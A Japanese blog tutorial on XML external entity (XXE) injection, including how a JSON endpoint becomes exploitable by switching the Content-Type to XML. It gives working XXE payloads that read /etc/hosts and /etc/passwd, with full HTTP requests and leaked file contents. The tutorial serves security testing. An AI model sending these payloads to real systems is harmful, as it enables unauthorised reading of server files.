Shikata Ga Nai

Private? There is no such things.

XXEについて書いてみた

Hello there, ('ω')ノ


XXEは、XML外部エンティティインジェクションの略で。

WEBアプリケーションのXMLデータの処理を妨害できる脆弱性で。

多くの場合、アプリケーションサーバのファイルシステム上のファイルを表示して。

アプリケーション自体がバックエンドにアクセスできたり。

外部システムと対話することができたりと。

 

内部エンティティ:エンティティがDTD内で宣言されている場合

 構文:<!ENTITY entity_name "entity_value">

 

外部エンティティ:エンティティがDTDの外部で宣言されている場合

 構文:<!ENTITY entity_name SYSTEM "entity_value">

 

脆弱性診断ガイドラインをみると。

診断を実施すべき箇所は、リクエストにXMLが含まれている箇所 で。

操作を行う対象は、XMLが格納されている箇所(パラメータ、ファイルなど)で。

ペイロード・検出パターンの例は下記のとおりで。

 元の値:
  <?xml version="1.0" encoding="ISO-8859-1"?>
  <foo>test</foo>


 試行例:
  <?xml version="1.0" encoding="ISO-8859-1"?>
  <!DOCTYPE foo [
  <!ELEMENT foo ANY >
  <!ENTITY xxe SYSTEM "file:///etc/hosts" >]><foo>&xxe;</foo>

 

ただ、これだけでは十分な診断ができず。

サーバは予期していなかったデータ形式を受け入れる場合があって。

これで、JSONエンドポイントがXXEに対して脆弱になる可能性があって。

なので、Content-TypeヘッダとHTTPリクエストペイロードを試して。

JSONエンドポイントに対しても悪用される可能性があるかどうかを確認したりと。

 

たとえば、下記のノーマルなケースがあったとして。

 

HTTP Request:

POST /netxxe HTTP/1.1
Host: someserver.netxxe.com
Accept: application/json
Content-Type: application/json
Content-Length: 38
 
{"search":"name","value":"12345"}

 

HTTP Response:

HTTP/1.1 200 OK
Content-Type: application/json
Content-Length: 43
 
 
{"error": "no results for name 12345"}
 

 

Content-Typeをxmlに変更して、レスポンスを確認すると。

このエラーからサーバがXML形式のデータとJSON形式のデータを処理できるらしく。

Content-Typeヘッダに記載されているXMLではなかったため解析できなくて。 

 

HTTP Request:

POST /netxxe HTTP/1.1
Host: someserver.netxxe.com
Accept: application/json
Content-Type: application/xml
Content-Length: 38
 
{"search":"name","value":"12345"}


HTTP Request:

HTTP/1.1 500 Internal Server Error
Content-Type: application/json
Content-Length: 127
 
{"errors":{"errorMessage":"org.xml.sax.SAXParseException: XML document structures must start and end within the same entity."}}

 

このエラーをクリアするには、JSONをXMLに変換する必要があって。

 

Original JSON

{"search":"name","value":"12345"}


XML Conversion

<?xml version="1.0" encoding="UTF-8" ?>
<search>name</search>
<value>12345</value>

 

ただ、単純な変換だと適切にフォーマットされたXMLに必要なルート要素がないので。

無効なXMLになったりもして。

その場合は、XMLを有効にするルート要素<root>を追加するのが最善の策でして。

 

<?xml version="1.0" encoding="UTF-8" ?>
 
<root>
<search>name</search>
<value>12345</value>
</root>


これで、元のJSONリクエストをXMLとして送信できて。

サーバは有効なレスポンスを返すことができて。

 

HTTP Request:

POST /netxxe HTTP/1.1
Host: someserver.netxxe.com
Accept: application/json
Content-Type: application/xml
Content-Length: 112
 
<?xml version="1.0" encoding="UTF-8" ?>
<root>
<search>name</search>
<value>12345</value>
</root>


HTTP Response:

HTTP/1.1 200 OK
Content-Type: application/json
Content-Length: 43
 
{"error": "no results for name netspitest"}

 

これでXXEの環境が整ったので。

XXEで、JSONエンドポイントに対して悪用できて。

 

HTTP Request:

POST /netxxe HTTP/1.1
Host: someserver.netxxe.com
Accept: application/json
Content-Type: application/xml
Content-Length: 288
 
<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE netspi [<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<root>
<search>name</search>
<value>&xxe;</value>
</root>


HTTP Response:

HTTP/1.1 200 OK
Content-Type: application/json
Content-Length: 2467
 
{"error": "no results for name root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync....

 

Best regards, (^^ゞ